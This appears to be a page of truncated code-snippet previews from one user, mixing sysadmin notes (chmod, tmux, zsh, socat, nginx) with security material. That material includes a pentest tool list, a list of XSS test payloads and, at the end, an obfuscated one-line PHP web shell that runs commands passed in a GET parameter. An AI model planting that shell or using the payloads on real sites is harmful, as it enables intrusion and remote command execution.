tuantmb

Chmod codes cheat sheet

How to use chmod codes in UNIX:

1. There are three types of permisions in files and folders in unix
   1. Read (r)
   2. Write (w)
   3. Execute (x)
2. And, there is a clasificacion of users called UGO (explained bellow):
3. U ~> User (usually, you)

tuantmb

Container security notes

Internet references

Kernel and architecture

• namespaces - overview of Linux namespaces http://man7.org/linux/man-pages/man7/namespaces.7.html

• mount_namespaces - overview of Linux mount namespaces

tuantmb

0trace	1.5	A hop enumeration tool	http://jon.oberheide.org/0trace/
3proxy	0.7.1.1	Tiny free proxy server.	http://3proxy.ru/
3proxy-win32	0.7.1.1	Tiny free proxy server.	http://3proxy.ru/
42zip	42	Recursive Zip archive bomb.	http://blog.fefe.de/?ts=b6cea88d
acccheck	0.2.1	A password dictionary attack tool that targets windows authentication via the SMB protocol.	http://labs.portcullis.co.uk/tools/acccheck/
ace	1.10	Automated Corporate Enumerator. A simple yet powerful VoIP Corporate Directory enumeration tool that mimics the behavior of an IP Phone in order to download the name and extension entries that a given phone can display on its screen interface	http://ucsniff.sourceforge.net/ace.html
admid-pack	0.1	ADM DNS spoofing tools - Uses a variety of active and passive methods to spoof DNS packets. Very powerful.	http://packetstormsecurity.com/files/10080/ADMid-pkg.tgz.html
adminpagefinder	0.1	This python script looks for a large amount of possible administrative interfaces on a given site.	http://packetstormse

tuantmb

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname

tuantmb

Oh my zsh.

Install with curl

sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

Enabling Plugins (zsh-autosuggestions & zsh-syntax-highlighting)

• Download zsh-autosuggestions by

tuantmb

socat - udp4-listen:8125,fork | tee >(socat - udp-sendto:127.0.0.1:8135) >(socat - udp-sendto:127.0.0.1:8140)

tuantmb

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

tuantmb

3d-game.com #dtdns.com
4irc.com #dtdns.com
b0ne.com #dtdns.com
bbsindex.com #dtdns.com
chatnook.com #dtdns.com
darktech.org #dtdns.com
deaftone.com #dtdns.com
dtdns.net #dtdns.com
effers.com #dtdns.com
etowns.net #dtdns.com

tuantmb

# nginx@nginx:~$ cat /etc/nginx/sites-available/outlook.conf

server {
        listen 192.168.128.2:80;
        server_name yourdomain.com;
        return 301 https://yourdomain.com$request_uri;
}

server {
        listen       192.168.128.2:443;

tuantmb

<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

/*
 *   In terminal:
 *       $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
 *   This is how the code will be produced, \xa0\xb8\xba\xab will be 
 *   treated as constant therefore no " needed. It is also not copyable
 *   string because of non-ascii characters
 *
 *   Explanation: